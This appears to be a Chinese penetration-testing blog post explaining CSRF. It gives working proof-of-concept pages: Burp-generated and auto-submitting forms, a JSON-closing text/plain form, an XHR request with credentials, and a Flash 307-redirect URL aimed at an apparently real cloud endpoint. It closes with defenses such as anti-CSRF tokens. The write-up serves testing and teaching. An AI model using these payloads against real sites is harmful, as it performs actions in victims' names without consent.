0x00 前言

漏洞背景

hw时期在电信三巨头之一旗下的子公司出差,做一下渗透测试。公网的业务主挖逻辑漏洞,但是每次挖着挖着就变成了CSRF攻击,出差半个月算是把这辈子的CSRF都给挖完了。

testme师傅说的一句话:开发者修或不修,挖洞者觉得鸡肋不鸡肋,CSRF漏洞就躺着那里。这一次的体会很深,某云基本所有的业务逻辑都存在CSRF洞。

CSRF原理

还是来梳理一下大致的流程

1.用户C浏览并登录信任网站A

2.验证通过,Web A产生一个Cookie返回给用户C

3.用户在没有等处的情况下访问Web B

4.B要求访问第三方站点Web A,发出一个请求

5.浏览器带着步骤2产生的Cookie,根据步骤4的请求访问Web A

这就造成了一次CSRF攻击,原理是利用目标用户的合法身份,以用户的名义执行非法操作

0x01 常见CSRF利用

GET型CSRF

这里选择DVWA的low级,可以抓包查看修改密码的请求如下

可以看到发送了一个GET请求,来看看有哪些HTML元素可以实现这一请求

HTML中能够设置src/href等链接地址的标签都可以发起一个GET请求,具体如下:

<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0;url=">
<iframe src="">
<frame src="">
<script src="">
<bgsound src="">
<embed src="">
<audio src="">
<video src="">
<a href="">
<table background="">

以及CSS样式中的:

@import ""
background:url("")
...

这里可以直接选择Burp Suite的Generate CSRF PoC生成

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('', '', '/')</script><form action="http://192.168.115.139:8088/dvwa/vulnerabilities/csrf/"><input type="hidden" name="password_new" value="123456" /><input type="hidden" name="password_conf" value="123456" /><input type="hidden" name="Change" value="Change" /><input type="submit" value="Submit request" /></form></body>
</html>

当用户在登录状态下打开并点击Submit request按钮时,便会提交修改密码请求

POST型CSRF

POST型与GET型的区别就在于POST型CSRF需要构造form表单,再由JavaScript自动提交

这里给出一个参考的攻击页面,当然也可以Burp Suite直接生成POC

<html>
<head><title>post data</title>
</head>
<body>
<form id="id" method="post" action="https://www.xxx.com/submit">
</form>
<script>var id = document.getElementById("id");id.submit();
</script>
</body>
</html>

0x02 真实场景利用

某云多处POST型CSRF

创建Access Key

由于是即将上线的业务,6月22日前暂未修复,关键数据打马

创建Access Key只是向服务器提交了一个POST请求,数据为空,POC如下

当用户在已登录情况下打开,会创建一个Access Key

删除Access Key

这里由POST提交的id即为我们之前创建的Access Key(不是上面那一个。。)

我最先测的是删除的这个功能点,但是甲方不收,说这个id没有办法获取到,后来才测了创建的那个功能点。实际上,整个系统能够越权的地方都产生了CSRF,不能越权的地方也可以用CSRF去打,算是通病了。

POC与上面那个类似,唯一区别就是这里带了post数据,value替换为相应id即可。

今天准备复现的时候发现系统已经暂时下线了,估计正在修复,所以用了之前提交的测试报告的图。

0x03 Json格式下的CSRF

在内网测试域遇到了一个POST型CSRF,且提交的数据为json格式

如果直接用常规poc的话,会导致415,poc如下

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('', '', '/')</script><form action="https://xxxxxx/simauth/app/updateAppInfo" method="POST" enctype="text/plain"><input type="hidden" name="{"appId":"300016001555","appName":"0xdawnnn"}" value="" /><input type="submit" value="Submit request" /></form></body>
</html>

那我们为何不能使用这个常规构造的PoC来利用JSON端点中的CSRF呢?原因如下:

1、POSTbody需要以JSON格式发送,而这种格式如果用HTML表单元素来构建的话会比较麻烦。

2、Content-Type头需要设置为application/json。设置自定义Header需要使用XMLHttpRequests,而它还会向服务器端发送OPTIONS预检请求。

思路一:json格式闭合

我们可以抓包看一下这个poc提交的请求详情

可以看到这段POST数据结尾多了一个=,这种情况下服务端的JSON解析器可能会拒绝这段JSON,因为它不符合JSON的数据格式。 这时候我们可以给value赋值从而对=后的数据进行补全,使其构造成一个完整的json格式,可以避免解析器报错

<input type="hidden" name='{"appId":"300016001555","appName":"0xdawnnn","test":"' value='test"}' />

可以看到这里已经闭合成了一个完整的json格式的数据,但是提交数据还是会返回415.因为在原始的数据包中Content-Typeapplication/json,而以form表单的形式去提交是没办法设置enctypeapplication/json的。为了进一步验证,修改enctypeapplication/json,再抓包查看请求详情。

可以看到Content-Type自动转换为了application/x-www-form-urlencoded,进一步验证

enctype改回text/plain并抓包,修改Content-Typeapplication/json

返回操作成功,自此可以确定服务端对Content-Type进行了校验。

思路二:通过XHR提交

当跨域影响用户数据HTTP请求(如用XMLHttpRequest发送post)时,浏览器会发送预检请求(OPTIONS请求)给服务端征求支持的请求方法,然后根据服务端响应允许才发送真正的请求。 然而如果服务端对Content-Type进行校验,则不会响应这个OPTIONS请求,从而利用失败。

所以在此场景下,这一思路是行不通的。但是更多的情况下服务端可能不会校验Content-Type,或者不会严格校验Content-Type是否为application/json,所以很多情况下这是可用的。

XHR CSRF POC

<html><body><script>function submitRequest(){var xhr = new XMLHttpRequest();xhr.open("POST", "https://www.xxxxx.com/simauth/app/updateAppInfo", true);xhr.setRequestHeader("Accept", "*/*");xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");xhr.withCredentials = true;xhr.send(JSON.stringify({"appId":"300016001555","appName":"0xdawn"});}</script><form action="#"><input type="button" value="Submit request" onclick="submitRequest();"/></form></body>
</html>

思路三:借助flash,利用307跳转实现CSRF

1.制作一个Flash文件

2.制作一个跨域XML文件

3.制作一个具有307状态码的php文件

已经有大牛造好轮子了,参考:https://github.com/sp1d3r/swf_json_csrf

POC

https://www.0xdawn.cn/swf_json_csrf/test.swf?endpoint=https://sim.ecloud.10086.cn:8085/simauth/app/updateAppInfo&reqmethod=POST&ct=application/json;charset=UTF-8&jsonData={%22appId%22:%22300016001555%22,%22appName%22:%220xdawn%22}&php_url=https://www.0xdawn.cn/swf_json_csrf/test.php

或者直接在ui.html页面配置

整个攻击链

1、受害者访问POC,向attacter.com发起一条swf请求,swf向307.php发送HTTP POST请求。

2、attacter.com的307.php发起307跳转,跳转到victim.com,注意307跳转会带着http请求方式,header和postdata进行跳转。

3、victim.com收到一条POST请求,并且Content-Type为application/json。

4、victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行,导致跨域。并且victim.com能收到crossdomain.xml请求,也证明了第三步的POST请求是Flash发出,而不是307.php发出。

然而在实际测试中却并没有起到理想中的效果,只能是记录一下方法

0x04 防御CSRF

检查Referer

一般情况下,用户提交站内请求,Referer中的来源应该是站内地址。如果发现Referer中的地址异常,就有可能遭到了CSRF攻击。在浏览器客户端层面,使用JavaScript和ActionScript已经无法修改HTTP Referer了,检查Referer字段是个不错的方法。

限制Cookie生命周期

CSRF产生的主要原因就是Cookie时效性未过的情况下,冒用用户身份进行非法操作。而如果cookie失效,或者退出登录,甚至切换一个浏览器,CSRF就不复存在了。限制Cookie的生命周期,一定程度上能减少被CSRF攻击的概率。

使用验证码

使用验证码是阻断CSRF攻击的有效手段,在用户进行相应操作时输入验证码,可以最大限度上杜绝CSRF,唯一的缺点是会降低用户体验。

使用一次性token

Anti-CSRF-token是当下最流行的解决方案,在开发过程中我们可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务端进行token校验,如果请求中没有token或者token内容不正确,则认为是CSRF攻击而拒绝该请求。

0x05 Reference

参考链接

谈谈Json格式下的CSRF攻击

浅析CSRF漏洞的利用与防御机制

JSON CSRF新姿势

JSON CSRF的一个案例

参考文献

Web前端黑客技术揭秘

一次渗透测试引发Json格式下的CSRF攻击相关推荐

  1. Kali渗透测试:使用Armitage针对漏洞进行攻击

    Kali渗透测试:使用Armitage针对漏洞进行攻击 以ms17_010_eternable模块为例("永恒之蓝")经典的漏洞,单击这个模块以后就可以开始攻击了. 实 验 环 境 ...

  2. APP渗透测试 网站漏洞检测以及如何防止攻击

    很多公司都有着自己的APP,包括安卓端以及ios端都有属于自己的APP应用,随着互联网的快速发展,APP安全也影响着整个公司的业务发展,前段时间有客户的APP被攻击,数据被篡改,支付地址也被修改成攻击 ...

  3. 暗月渗透测试项目-五(下)

    00x7-linux三大提权工具使用 信息搜集 LinEnum.sh 主要是检查Linux的系统信息的脚本文件 linux-exploit-suggester.sh文件 检查Linux系统上是否存在指 ...

  4. 渗透测试学习8:文件上传攻击

    目录 文件上传攻击简介 前端验证的突破 文件内容检查的突破 content-type绕过: 文件头验证绕过: getimagesize()检查和php_exif模块检查绕过 ⼆次渲染绕过: 白名单验证 ...

  5. 【渗透测试实战】具体案例——讲讲SQL注入攻击是怎么回事?

    目录 写在前面 1. 网站分析 2. 初步探测 3. 注入sql测试 4.获取查询长度 5.获取数据库相关信息 6.通过注入,我们拿到了数据库的初步信息 写在前面 作为一个防御型小白帽 你一定要知道进 ...

  6. 渗透测试专题二之msf(kali)的攻击教程将DOS操作系统中的本地文件接口“中断13”改造为网络文件系统...

    主要功能: msf   console的使用及其配置 msf的主要作用及其实例 主要功能介绍详情 msf   console的使用及其配置 启动服务:service postgresql  start ...

  7. Kali渗透测试(四)——无线网络WPA攻击(PSK破解、AIROLIB、JTR、cowpatty、pyrit)

    无线网络WPA的攻击 主要有PSK攻击和AIROLIB.JTR.cowpatty.pyrit等工具的使用 (一)WPA PSK 攻击 WPA不存在WEP的弱点,只能基于字典暴力破解 PSK破解过程 启 ...

  8. kali linux渗透测试(一) --- set社工攻击

    平台:kali linux 环境:VMware 虚拟机 选择1,社工攻击 之后等待用户被诱导,并逆向连接到我的PC监听端口 对方PC提醒更新java 在控制面板中打开JAVA,添加例外站点列表 再次用 ...

  9. 渗透测试笔记(三)——SQL注入攻击及防御(1)

    SQL注入危害 程序没有细致的过滤用户输入的数据,致使非法数据侵入系统. 1.对于Web应用程序而言,用户核心数据存储在数据库中,例如MySQL.SQL Server.Oracle等: 2.通过SQL ...

最新文章

  1. matlab解常微分方程,Matlab中解常微分方程的ode45
  2. 【openMV】色块追踪
  3. 如果你还在寻找完美的海报字体, 你很幸运看这里!
  4. jsonArray:JavaBean,List,Map转成json格式(轉+整理)
  5. Python高级知识点学习(一)
  6. 全球AI挑战-场景分类的比赛源码(多模型融合)
  7. 没解决:RuntimeWarning: tp_compare didn't return -1 or -2 for exception
  8. XenCenter导出和导入模板
  9. 高频头极化角调整+用什么本振的高频头
  10. 银河麒麟V10(Kylin Linux Advanced Server V10 (Tercel))安装Python3.8、MySQL5.7、Redis
  11. Scala HandBook
  12. python爬虫工资高吗_月薪2万的爬虫工程师,Python需要学到什么程度?
  13. ACM技术栈(知识栈)
  14. 蛮X搜神记的NetManager分析(1)
  15. CF940E Cashback 题解
  16. 虚拟机概论(六)——JAVA虚拟机模型
  17. 拥抱开发过程中的“黑天鹅”
  18. 科研小白如何读英文文献?该如何做笔记?(附OneNote笔记多设备同步教程)
  19. Word中利用字体把文字转换为特殊图案(转)
  20. 基于QT5的校园导游系统设计与实现

热门文章

  1. IntelliJ IDEA中文乱码问题汇总
  2. 计算两个向量间的欧氏距离_计算不同长度的两个向量之间的距离
  3. 业内人士真心话,软件测试是没有前途的,我慌了......
  4. DWG/DGN格式导入Arcgis;转化为shp格式;更改地理坐标;导入Google Earth【转】
  5. js获取上一页下一页地址,当前页地址前进和后退
  6. svm预测模型 matlab,SVM回归预测模型
  7. 网页版本的飞行日志分析平台是_如何进行网站日志分析
  8. 更多的视角观察声音——音频工程师的iZotope RX 4使用介绍
  9. C++简单问题搞复杂之构造函数与初始化(普通类)
  10. 银行存取款实现Java代码